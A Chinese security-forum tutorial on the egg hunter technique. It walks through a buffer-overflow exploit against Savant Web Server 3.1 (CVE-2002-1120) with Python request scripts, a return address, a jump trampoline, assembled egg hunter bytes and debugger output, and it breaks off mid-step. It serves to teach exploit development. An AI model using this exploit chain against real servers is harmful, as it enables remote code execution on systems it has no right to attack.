首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
二进制漏洞
发新帖
8
38
[原创] Egg Hunter 技术详解
发表于: 2026-1-4 00:02
22724
[原创] Egg Hunter 技术详解
Cypher.M
3
2026-1-4 00:02
22724
# Egg Hunter 技术详解 ## 1.概念 这是一种技术,并非漏洞本身。可以用于大部分的二进制漏洞当中的技术,举个例子,写入`shellcode`的偏移量可能会因为系统原因而产生一些不同,但是漏洞确实存在,这个时候传统的通过偏移跳转`shellcode`的方式就不再稳定,或者,如之前我在`SEH`溢出当中提到的部分,也许数据发送成功了,但是数据位置,距离当前位置很远,传统模式我们就需要先手动去查找计算这个部分。`EggHunter`这个技术就是解决上述这类问题的。假设有一个程序的代码如下: ```cpp // 这个缓冲区称为 A区域 // 这个全局变量负责接收完整的数据 char *Full_Requests_Store; void LogError(char *input_string){ // 设置一个小的变量 // 这个缓冲区称作 B区域 char small_buffer[64]; // 接着漏洞点 strcpy 导致栈溢出 strcpy(small_buffer, input_string); } char *recv_from_network(){} // 这个函数不重要 只需要知道它是用来接收网络数据包的 int main(){ // 模拟网络接收过程 // 操作系统分配了一块巨大的堆内存,完美保存了攻击者的所有数据。 A * 10000 Full_Requests_Store = recv_from_network(); // LogError 导致栈溢出。 LogError(Full_Requests_Store); } ``` 这个溢出发生在`LogError` ,但是由于 B区域缓冲区大小只有64,但是`strcpy`不管不顾的把 `A*10000`都写入这个部分,能不能写入不重要,重要的是,这个部分一定会崩溃。此时,首先要确认,这个部分崩溃以后,到底溢出了多少。假设这里溢出过后,发现B区域后续有1000字节的空间,那么就不用egg hunter技术了,直接写shellcode即可。但是更多的情况是,这10000个A只有很少一部分在溢出过后在区域B当中,比如只有100个A写进来了,后续的空间会因为权限或是其他原因根本没办法动,如何在这100个A的空间内想办法精准的跳到`Full_Requests_Store`当中的`shellcode`部分,就是`egg hunter`解决的问题。 内存图大概是这样 ``` 内存地址 (低 -> Low Address) | | [ 区域 A: 堆 (Heap) 或 全局数据段 ] | [ 这里存储了攻击者发来的所有数据(包含shellcode的大部分数据) ] | ---------------------------------------------------- | | 垃圾数据 ... | | |--------------------------------------------------| | | [ 蛋 (The Egg) ] | | | Tag: w00tw00t (8字节标记) | <---- 特征(egg)在这里! | | Shellcode: [ 反弹Shell的大段代码 (300+字节) ] | (它很安全,但无法直接执行) | |--------------------------------------------------| | | 垃圾数据 ... | | ---------------------------------------------------- | | ( ... 中间隔着茫茫多的未知内存页 ... ) | ( ... 可能有几兆字节那么远 ... ) | | [ 区域 B: 栈 (Stack) - 溢出发生现场 ] | ---------------------------------------------------- | | ... | | |--------------------------------------------------| | | [ 局部变量 Buffer (溢出点) ] | | | 填充物 (Padding) | | |--------------------------------------------------| | | [ EIP / SEH ] | <---- 这里被我们控制了 | | 跳转指令 (JMP) | <---- 如果这部分后续的空间很大就是常规溢出 | |--------------------------------------------------| | | [ 猎人 (Egg Hunter) ] | <---- 假设空间很小,只有 32 字节的小代码 | | 1. 遍历内存页 (利用 Syscall/SEH 判断是否可读) | <---- 这是溢出过后唯一能影响的一小部分空间 | | 2. 比较: "是 w00tw00t 吗?" | | | 3. 不是 -> 继续找 | | | 4. 是 -> JMP 到那个位置 | | |--------------------------------------------------| | 内存地址 (高 -> High Address) ``` 简单总结下原理,就是在`shellcode`之前放一串特定字符串,然后在内存当中搜索这个字符串,找到这个字符串以后,跳转到这里,就能够实现精准跳转`shellcode`了。`Egg Hunter` 的精髓在于:它利用系统调用 (`Syscall`) 或 `异常处理机制 (SEH)` 来判断一个内存地址是否可读。这个在接下来这个漏洞分析当中会详细说明。 详细原理可以参考这个论文:<a href="elink@26dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2Z5K9h3y4C8i4K6u0W2L8%4u0Y4i4K6u0r3j5$3!0V1k6g2)9J5c8Y4y4C8j5i4m8W2i4K6u0r3M7r3q4H3k6i4u0K6i4K6u0r3k6h3N6Y4K9s2g2F1N6q4)9J5k6s2y4Z5k6h3I4D9j5$3!0V1k6g2)9J5k6i4m8V1k6R3`.`.">egghunt-shellcode.pdf</a> 由于 Egghunter 通常用于可用空间受限的场景,所以它的代码设计得尽可能小巧精炼。 此外,扫描速度非常关键 —— Egghunter 越快找到目标标签,应用程序就越不容易出现长时间挂起或崩溃的现象。 因为手动读未映射的内存会直接崩溃程序,而系统调用访问时: - 系统会 **捕捉异常** - 返回一个错误码(而不是崩溃) - Egghunter 就能根据返回码继续“扫描”下一个地址! ## 2.实操 ### 2.1 Fuzz测试 漏洞链接:<a href="elink@bc0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0N6X3g2V1k6i4c8S2K9h3I4K6i4K6u0W2j5$3!0E0i4K6u0r3j5%4k6W2i4K6u0r3b7#2k6q4i4K6u0V1x3U0l9H3x3W2)9J5k6o6p5I4x3U0m8Q4x3V1j5`.">CVE-2002-1120:Savant Web Server 3.1 及更早版本中的缓冲区溢出允许远程攻击者</a> `Savant Web Server 3.1` 及更早版本中的缓冲区溢出允许远程攻击者通过较长的 HTTP GET 请求执行任意代码。这个漏洞的溢出,不是单纯的溢出,`Savant Web Server 3.1` 的这个漏洞只有在进行 URL 解码(%xx 解码)时才会触发栈溢出。当 HTTP 请求的路径中出现 % 字符时,服务器会尝试对后面的两个十六进制数字进行解码,并把解码后的字节写入一个固定大小的栈缓冲区,这个过程没有边界检查,才导致了溢出。非常符合我们对于当前技术的研究背景。 OK,来写一个初始的`Poc` ```python #!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 80 size = 260 httpMethod = b"GET /" inputBuffer = b"\x41" * size httpEndRequest = b"\r\n\r\n" buf = httpMethod + inputBuffer + httpEndRequest print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() print("Done!") except socket.error: print("Could not connect!") ``` 程序加载`windbg`,可以很清楚的看到此时`eip`被`A`覆盖,但是查看栈顶(`esp`)会发现,溢出的位置并不像是常规的溢出  继续分析这个情况,查看`esp`,首先`eip`目前被`A`覆盖,然后发现`esp + 4`的位置实际上就是指向 `Payload`的指针(地址),可以清楚的看到这个地址当中存放了完整的发送的数据。   这个输出就是在概念部分举的例子,回顾伪代码 ```cpp // 这个缓冲区称为 A区域 // 这个全局变量负责接收完整的数据 char *Full_Requests_Store; // <-- 完整的数据存在这里 esp + 4 void LogError(char *input_string){ // 设置一个小的变量 // 这个缓冲区称作 B区域 char small_buffer[64]; // 接着漏洞点 strcpy 导致栈溢出 strcpy(small_buffer, input_string); // <---现在溢出发生这里,但是这里能存的数据非常有限 } ``` 接下来,我们需要找到`eip`的位置 ```python inputBuffer = b"Aa0Aa1Aa2Aa3...." # msf-pattern_create -l 260 ``` 加载到`windbg`当中会发现,坏字符引发崩溃 ``` 0:010> g (d10.8c4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00694135 ebx=01ad5768 ecx=004c0000 edx=004c0000 esi=01ad5768 edi=0041703c eip=0040c05f esp=01bde6a8 ebp=01bdea14 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 Savant+0xc05f: 0040c05f 8b08 mov ecx,dword ptr [eax] ds:0023:00694135=???????? ``` ### 2.2 二分法查找EIP 二分法解决这个问题 ```python inputBuffer = b"\x41" * 130 inputBuffer += b"\x42" * 130 ``` 加载`windbg`,可以看到在`B`的部分  然后循环往复找到这个位置,在253这里 ```python httpMethod = b"GET /" inputBuffer = b'A' * 253 inputBuffer += b'B' * 4 inputBuffer += b'C' * 3 # size - len(inputBuffer) httpEndRequest = b"\r\n\r\n" ``` 加载`windbg`验证  ### 2.3 坏字符检测 这里我想到的处理逻辑比较简单,既然`esp + 4`存放的地址指向的是我整个发送的`payload`那么我先测试坏字符,测试完坏字符以后,再利用有序字符串查找位置。 然后修改`exp` ```python badchars = ( b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c" b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19" b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26" b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33" b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d" b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a" b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67" b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74" b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81" b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e" b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b" b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5" b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2" b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc" b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9" b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6" b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) httpMethod = b"GET /" inputBuffer = badchars inputBuffer += b'A' * (size - len(badchars)) ``` 逐行测试坏字符,建议先注释一半,然后循环查找。程序应该会在第一行就“滑过去”,因为是`Web`服务,所以`\x0a`大多数情况下都会是坏字符,再排除一个`\x0d`这两个都是换行,`\x0d`是回车,基本上大部分的`web`服务对这两个字符都会敏感的。稍微提一下,在一些特定环境当中`\x0a`甚至可以当作sql注入的注释符平替。然后还有之前就遇到过的`\x25`百分号,这个符号在`web`服务当中也极其危险,所以手动先把这些排除掉。 ``` \x00 \x0a \x0d \x25 ``` 修改坏字符测试 ```python badchars = ( b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c" b"\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19" b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x26" b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33" b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d" b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a" b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67" b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74" b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81" b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e" b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b" b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5" b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2" b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc" b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9" b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6" b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) ``` 然后加载`windbg`,可以观察到,所有字符显示正常,说明除了手动排除的那几个字符,其他字符都安全  再次验证`eip`位置,生成一个字符串。 ```bash msf-pattern_create -l 260 ``` 基于对漏洞原理的理解,所以我们需要在生成的字符串前面加一个`\x25`来让漏洞触发 ```python inputBuffer = b'\x25Aa0Aa1A...' ``` 加载到`windbg`,然后查询`35694134` ``` 0:010> g (118c.2f0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=ffffffff ebx=019b5768 ecx=9fa636b9 edx=00000000 esi=019b5768 edi=0041703c eip=35694134 esp=04e2ea1c ebp=69413369 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 35694134 ?? ??? ``` 查看位置,254 减去 手动添加的一个 `\x25`还是253 重复验证了`eip`的位置 ```bash msf-pattern_offset -q 35694134 # [*] Exact match at offset 254 ``` ### 2.4 跳转指令 加载`narly`可以看到,这个程序几乎没有自带的dll,所以一切就只能从这个程序本身想办法解决。  程序本身的地址范围当中包含`\x00` ,常规情况下,应该寻找安全地址的`dll`来利用,但是分析这个程序的崩溃,可以发现一个很巧妙的事情,eip之后的部分,默认就是`\x00`。可以通过只写入3个字节的地址,然后让程序本身自动补齐`\x00`的方式解决这个问题。 ```python httpMethod = b"GET /" inputBuffer = b'A' * 253 inputBuffer += b'B' * 3 #inputBuffer += b'C' * 3 # size - len(inputBuffer) httpEndRequest = b"\r\n\r\n" ``` 加载到`windbg`查看,`eip`和预期一样变成了`00424242`,那也就是说可以构造`eip`让他指向程序本身当中的某个可用的地址。  到此为止,剩下要解决的就是如何跳转到`esp + 4`的位置,这个位置存放着一个地址,这个地址里面放着发送过去的完整`payload`,那么首先最好的选择肯定是`jmp`这样的跳转指令需要一个`jmp [esp + 4]`。可惜这样的指令本身就特别罕见,尤其是目前的程序并不大,只是一个小程序就更不太可能有这样的指令了。所以,还是需要`PR`系列的指令,选择一个其余三位不包含坏字符的地址比如`0x00418674`这个就可以。 ``` s -[1]b 00400000 00452000 FF 64 24 04 # 这个搜索没结果 s -[1]b 00400000 00452000 58 c3 # 这个可以搜到很多 58 C3 pop eax; ret 0x00418674 0x0041924f 0x004194f6 0x00419613 ...... ``` 修改代码 ```python httpMethod = b"GET /" inputBuffer = b'A' * 253 inputBuffer += b'\x74\x86\x41' # 0x00418674 #inputBuffer += b'C' * 3 # size - len(inputBuffer) httpEndRequest = b"\r\n\r\n" ``` 加载`windbg`验证,`eip`成功指向`esp + 4`的位置,成功跳转  分析`windbg`的输出,`\x47`对应字符`G`也就是请求方法的部分(GET),尝试修改这个部分,可以观察到这中间有24字节的可写部分。必须要保持这个结构,`GET /` 或者 `xxxx /`简而言之就是,`/`这个字符必须存在。 ``` 04d7ea74 00544547 00000000 00000000 00000000 GET............. 04d7ea84 00000000 00000000 4141412f 41414141 ......../AAAAAAA 0:005> ? 04d7ea8c - 04d7ea74 Evaluate expression: 24 = 00000018 ``` 修改代码 ```python httpMethod = b'B' * 24 + b" /" inputBuffer = b'A' * 253 inputBuffer += b'\x74\x86\x41' # 0x00418674 httpEndRequest = b"\r\n\r\n" ``` 加载`windbg`,可以看到,这个部分,是可以写一部分指令进去的。  ### 2.5 Egg hunter 接下来需要让执行流顺利的走到`inputBuffer`处,修改一下代码 ```python # \x00 \x0a \x0d \x25 httpMethod = b'\x90' * 4 + b'\xeb\x1c\x90\x90' + b" /" # jmp short 0x1E inputBuffer = b'A' * 253 inputBuffer += b'\x74\x86\x41' # 0x00418674 #inputBuffer += b'C' * 3 # size - len(inputBuffer) httpEndRequest = b"\r\n\r\n" ``` 查看`windbg`,重点在于,完全没有在预期当中看到写入的跳转指令,跳转指令被替换成了`\x3f` 也就是`aas`指令。在较老的系统版本当中`EB`会被换成`retf`,这是字符编码的问题,是一个关于坏字符的问题。 ``` 0:010> bp 0x00418674 0:010> g Breakpoint 0 hit eax=00000000 ebx=01875768 ecx=0000000e edx=77211570 esi=01875768 edi=0041703c eip=00418674 esp=04e2ea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 Savant+0x18674: 00418674 58 pop eax 0:005> dd esp L4 04e2ea1c 04e2fe60 04e2ea74 0041703c 01875768 0:005> dd 04e2ea74 04e2ea74 90909090 0090903f 00000000 00000000 04e2ea84 00000000 00000000 4141412f 41414141 ``` #### 2.5.1 上下文相关坏字符 Savant这个程序的内部处理逻辑是分裂的: - 对于 URL 路径:它可能只做简单的拷贝(strcpy),所以 `\xeb` 原样保留。这就是为什么坏字符测试通过了。 - 对于 HTTP Method:Savant 会尝试去解析它。Web 服务器通常期望 Method 是 `GET`, `POST`, `HEAD` 这样的纯文本。Savant 在处理 Method 字段时,调用了一个 API(很可能是 `CharUpper` 或类似的本地化转换函数)试图把方法名转换成大写,或者进行格式验证。 **结论**:`\xeb` 在“URL路径”里是好人,但在“HTTP Method”里就是坏人。这就是所谓的**上下文相关坏字符**。 - `\xeb` (Hex: 在某些字符集(ANSI Code Page)中对应的是小写希腊字母`δ` (delta) 或其他符号。 - Win10 1709 (`\xcb`): - 在这个系统语言环境下,`\xeb` 被转换成了大写形式或其他映射,变成了 `\xcb` (`È` 或类似的)。 - Win10 1903 (`\x3f`): - 在这个系统语言环境下,系统认为 `\xeb` 在当前上下文中无法识别,于是触发了 `WC_DEFAULTCHAR` 机制,将其替换为 **`?`** (问号),也就是 `\x3f`。 这就是为什么不同版本的 Windows 表现不同是默认的语言包/代码页设置不同,最终会导致这里的`jmp`被转换成不同的东西。 #### 2.5.2 jz跳转 既然知道了无法跳转的原因,处理这个问题也很简单,用条件跳转即可,`jz/je`之类的跳转。空间上有24字节左右的大小,足够写一个条件跳转。 ``` nasm > xor ecx,ecx 00000000 31C9 xor ecx,ecx nasm > test ecx,ecx 00000000 85C9 test ecx,ecx nasm > jz short 0x1e 00000000 741C jz 0x1e ``` 把上述这个条件跳转放进HTTP请求方法的部分当中去 ```python httpMethod = b'\x31\xC9\x85\xC9\x74\x1C' + b" /" # xor ecx,ecx;test ecx,ecx;jz short 0x1e; ``` 加载windbg,一切符合预期,成功跳转到预想的部分。  #### 2.5.3 堆内存定位 开始之前,首先需要知道`shellcode`在什么位置,因为很显然,剩下的这些空间肯定不够写入`shellcode`,即使算上请求方法,这个空间也太小了,368字节,并且还有一些限制(比如请求方法必须有一个`/`字符)。 ``` 0:005> dd 04e2ea74 L60 04e2ea74 c985c931 00001c74 00000000 00000000 04e2ea84 00000000 00000000 4141412f 41414141 ....... 04e2eb84 41414141 86744141 00000041 00000000 0:005> ? 04e2ebe4 - 04e2ea74 Evaluate expression: 368 = 00000170 ``` 所以,首先要做的是尝试发送一个`shellcode`,然后在内存当中找到这个部分。 ```python shellcode = b'w00tw00t' + b'\x90' * 392 httpMethod = b'\x31\xC9\x85\xC9\x74\x1C' + b" /" # xor ecx,ecx;test ecx,ecx;jz short 0x1e; inputBuffer = b'A' * 253 inputBuffer += b'\x74\x86\x41' # 0x00418674 #inputBuffer += b'C' * 3 # size - len(inputBuffer) httpEndRequest = b"\r\n\r\n" buf = httpMethod + inputBuffer + httpEndRequest + shellcode ``` 加载`windbg`,搜索设定好的特定字符,可以明确观察到,`shellcode`确实是写入了内存里面的  使用`!address`指令查看这个地址属性,发现这个地址在堆上,这个大小,写`shellcode`也绝对够用了  在 Windows 操作系统中,当进程启动时,堆管理器会自动创建一个新的堆,称为默认进程堆。从高层次上讲,堆是大块内存,被分割成更小的块以满足动态内存分配请求。由于我们的二级缓冲区(` secondary buffer`)存储在动态内存中,因此无法预先确定其位置。这排除了通过向当前指令指针添加静态偏移量来到达辅助缓冲区的可能性。我们需要探索其他方法来查找缓冲区的位置。 简单来说就是这个地址不固定无法固定使用,每次执行都不太一样,所以不能通过偏移量,或是地址,直接`jmp`或是`PR`这种手段,简单跳转过去。 #### 2.5.4 Egg Hunter ---- Syscall Hunter 终于到这个部分了,这是全篇文章的重点,简单来说,就是在内存当中写一个特征查找的功能,之后让其去自动遍历内存页,查找预设好的特定字符,然后跳转。 `Syscall Hunter`依赖`Windows`当中自带的API:`NtAccessCheckAndAuditAlarm`,这个API的功能是 Windows 内核中用于安全审计的函数。它的本职工作是检查某个用户是否有权限访问某个对象,并生成审计日志(Alarm)。它的工作过程: - 传入一个指针给这个API - 调用它时,CPU 切换到内核态(Ring 0)。内核在执行任何逻辑之前,必须先检查你传进来的这个用户态指针是否合法。 - 如果指针指向的内存未分配或不可读,内核会直接返回 `STATUS_ACCESS_VIOLATION` (`0xC0000005`),而不会让你的程序崩溃。 简单来说就是在读取的时候如果报没权限,就返回,如果有权限, 就查找**蛋壳**直到找到,就跳转到**蛋壳**的位置。下面是一个经典的`Egg hunter`代码,这种`Hunter`就是 `Syscall Hunter`,注意这种查找方式有一个致命的缺陷,微软为了系统安全和架构调整,会经常修改系统调用号。这个代码当中的调用号是写死的,这是`Windows XP`时代的调用号,当前运行系统是`Win 10`所以下面的代码一定会走到一个莫名其妙的地方,然后崩溃的。 ```python from keystone import * CODE = ( # 初始化 EDX = 0 # 作用: 确保从低地址开始扫描,防止高地址回绕导致崩溃 " xor edx, edx ;" " loop_inc_page: " # 页对齐 " or dx, 0x0fff ;" " loop_inc_one: " " inc edx ;" " loop_check: " # 保存现场 # 必须把当前的地址存起来,因为 syscall 可能会弄脏寄存器 " push edx ;" # XP 调用号 这里就是Syscall 存在的问题点 " push edx ;" " push 0x2 ;" # 触发系统调用 " int 0x2e ;" # 检查结果 " cmp al, 0x05 ;" # 恢复现场 # 取回刚才保存的地址 " pop edx ;" " loop_check_valid: " # 如果是访问违规(0x05),说明不可读,跳过这一页 " je loop_inc_page ;" " is_egg: " " mov eax, 0x74303077 ;" " mov edi, edx ;" " scasd ;" " jnz loop_inc_one ;" " scasd ;" " jnz loop_inc_one ;" " matched: " " jmp edi ;" ) # 初始化 keystone 引擎 ks = Ks(KS_ARCH_X86, KS_MODE_32) # 编译 encoding, count = ks.asm(CODE) # 格式化输出 egghunter = "" badchars = [0x00, 0x0d, 0x0a, 0x25] # 简单的坏字符检查 found_bad = False for dec in encoding: if dec in badchars: print(f"[!] 警告: 生成的 Shellcode 包含坏字符: {hex(dec)}") found_bad = True egghunter += "\\x{0:02x}".format(int(dec)) if not found_bad: print("[+] Shellcode 生成成功,无坏字符!") print("egghunter = b\"" + egghunter + "\"") ``` 执行这个代码,然后把结果加入`exp`代码当中,需要多次调整位置,在之前的跳转当中是直接跳转了`0x1E`,所以在这里需要多加一些`nop` ```python shellcode = b'w00tw00t' + b'\x90' * 392 syscall_hunter = b'\x90' * 20 + b'\x31\xd2\x66\x81\xca\xff\x0f\x42\x52\x52\x6a\x02\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7' httpMethod = b'\x31\xC9\x85\xC9\x74\x1C' + b" /" # xor ecx,ecx;test ecx,ecx;jz short 0x1e; inputBuffer = b'A' * (253 - len(syscall_hunter)) inputBuffer += b'\x74\x86\x41' # 0x00418674 httpEndRequest = b"\r\n\r\n" buf = httpMethod + syscall_hunter +inputBuffer + httpEndRequest + shellcode ``` 然后加载`windbg`查看,由于这段日志非常长,我直接复制到下面,然后再分段截图解释。 ``` 0:010> bp 0x00418674 0:010> g Breakpoint 0 hit eax=00000000 ebx=00185768 ecx=0000000e edx=77211570 esi=00185768 edi=0041703c eip=00418674 esp=04dcea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 Savant+0x18674: 00418674 58 pop eax 0:005> t eax=04dcfe60 ebx=00185768 ecx=0000000e edx=77211570 esi=00185768 edi=0041703c eip=00418675 esp=04dcea20 ebp=41414141 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 Savant+0x18675: 00418675 c3 ret 0:005> t eax=04dcfe60 ebx=00185768 ecx=0000000e edx=77211570 esi=00185768 edi=0041703c eip=04dcea74 esp=04dcea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 04dcea74 31c9 xor ecx,ecx 0:005> t eax=04dcfe60 ebx=00185768 ecx=00000000 edx=77211570 esi=00185768 edi=0041703c eip=04dcea76 esp=04dcea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 04dcea76 85c9 test ecx,ecx 0:005> t eax=04dcfe60 ebx=00185768 ecx=00000000 edx=77211570 esi=00185768 edi=0041703c eip=04dcea78 esp=04dcea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 04dcea78 741c je 04dcea96 [br=1] 0:005> dd 04dcea96 04dcea96 90909090 90909090 66909090 0fffca81 04dceaa6 026a5242 3c2ecd58 ef745a05 303077b8 04dceab6 afd78974 75afea75 41e7ffe7 41414141 ...... 0:005> u 04dcea96 L30 04dcea96 90 nop ...... 04dceaa0 90 nop 04dceaa1 6681caff0f or dx,0FFFh 04dceaa6 42 inc edx 04dceaa7 52 push edx 04dceaa8 6a02 push 2 04dceaaa 58 pop eax 04dceaab cd2e int 2Eh 04dceaad 3c05 cmp al,5 04dceaaf 5a pop edx 04dceab0 74ef je 04dceaa1 04dceab2 b877303074 mov eax,74303077h 04dceab7 89d7 mov edi,edx 04dceab9 af scas dword ptr es:[edi] 04dceaba 75ea jne 04dceaa6 04dceabc af scas dword ptr es:[edi] 04dceabd 75e7 jne 04dceaa6 04dceabf ffe7 jmp edi 04dceac1 41 inc ecx ...... 0:005> bp 04dceaab 0:005> g Breakpoint 1 hit eax=00000002 ebx=00185768 ecx=00000000 edx=77212000 esi=00185768 edi=0041703c eip=04dceaab esp=04dcea20 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 04dceaab cd2e int 2Eh 0:005> t eax=c0000005 ebx=00185768 ecx=00000000 edx=00000000 esi=00185768 edi=0041703c eip=04dceaaf esp=04dcea20 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 04dceaaf 5a pop edx 0:005> t eax=c0000005 ebx=00185768 ecx=00000000 edx=77212000 esi=00185768 edi=0041703c eip=04dceab0 esp=04dcea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 04dceab0 74ef je 04dceaa1 [br=1] 0:005> dd 04dceaa1 04dceaa1 ffca8166 6a52420f 2ecd5802 745a053c 04dceab1 3077b8ef d7897430 afea75af e7ffe775 04dceac1 41414141 41414141 41414141 41414141 ...... 0:005> t eax=c0000005 ebx=00185768 ecx=00000000 edx=77212000 esi=00185768 edi=0041703c eip=04dceaa1 esp=04dcea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 04dceaa1 6681caff0f or dx,0FFFh 0:005> g Breakpoint 1 hit eax=00000002 ebx=00185768 ecx=00000000 edx=77213000 esi=00185768 edi=0041703c eip=04dceaab esp=04dcea20 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 04dceaab cd2e int 2Eh 0:005> s -a 0x0 L?80000000 w00tw00t 00185a94 77 30 30 74 77 30 30 74-90 90 90 90 90 90 90 90 w00tw00t........ 0:005> bc * 0:005> bp 00185a94 0:005> g ``` 首先在`PR`指令处打断点,断点顺利命中,符合预期  接着单步执行,走到条件跳转,这里的跳转地址和地址内容,都符合代码预期  接着就是重点部分,`Syscall Hunter`的代码部分,不需要关注前面的`nop`和后面的填充,直接在`int 2Eh`这个指令处打断点,这里是在系统调用。  断点命中后,会循环往复的命中,这里看起来也属于是正常行为,因为逻辑上这段代码应该正在遍历查找。  为了方便,在调试的时候,直接在`shellcode`部分打断点,因为按照预设逻辑,应该是会找到`shellcode`,然后跳转,那么断点一定会触发  但是,这个时候就会发现,这个断点完全不会命中,这就是`Syscall Hunter`的坏处,`XP`的系统调用号在`Win 10`上并不适用,所以需要手动查一下当前系统的调用号。 当前我的系统调用号`0x1C6`  修改`Hunter`代码 ```python " push 0x1C6 ;" ``` 但是执行过后,会看到一个非常明显的问题,存在坏字符`\x00` ``` \x31\xd2\x66\x81\xca\xff\x0f\x42\x52\x52\x68\xc6\x01\x00\x00\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7 ``` 那么还需要处理这个`\x00`,面对这种`\x00`的问题其实有一个算是统一的解决方案就是,用减法 `neg`指令 ``` 0:005> ? 0x00 - 0x1C6 Evaluate expression: -454 = 